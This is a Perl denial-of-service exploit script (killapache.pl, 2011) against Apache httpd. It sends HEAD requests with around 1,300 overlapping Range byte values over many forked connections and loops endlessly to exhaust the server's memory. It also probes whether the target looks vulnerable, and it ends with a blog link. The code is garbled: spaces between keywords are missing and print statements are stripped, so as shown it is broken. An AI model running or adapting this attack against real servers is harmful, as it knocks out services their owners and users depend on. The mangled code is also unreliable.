#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
useIO::Socket;
useParallel::ForkManager;
subusage {
"Apache Remote Denial of Service (memory exhaustion)\n";
"by Kingcope\n";
"usage: perl killapache.pl[numforks]\n" ;
"example: perl killapache.pl www.example.com 50\n";
}
subkillapache {
"ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm= new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p="";
for($k=0;$k<1300;$k++) {
$p.=",5-$k";
}
for($k=0;$k<$numforks;$k++) {
my$pid=$pm->start andnext;
$x="";
my$sock= IO::Socket::INET->new(PeerAddr =>$ARGV[0],
PeerPort =>"80",
Proto =>'tcp');
$p="HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
$sock$p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
":pPpPpppPpPPppPpppPp\n";
}
subtestapache {
my$sock= IO::Socket::INET->new(PeerAddr =>$ARGV[0],
PeerPort =>"80",
Proto =>'tcp');
$p="HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
$sock$p;
$x= <$sock>;
if($x=~ /Partial/) {
"host seems vuln\n";
return1;
}else{
return0;
}
}
if($#ARGV < 0) {
usage;
exit;
}
if($#ARGV > 1) {
$numforks=$ARGV[1];
}else{$numforks= 50;}
$v= testapache();
if($v== 0) {
"Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();}
http://securityswebblog.blogspot.com/2011/08/apache-httpd-remote-denial-of-service.html





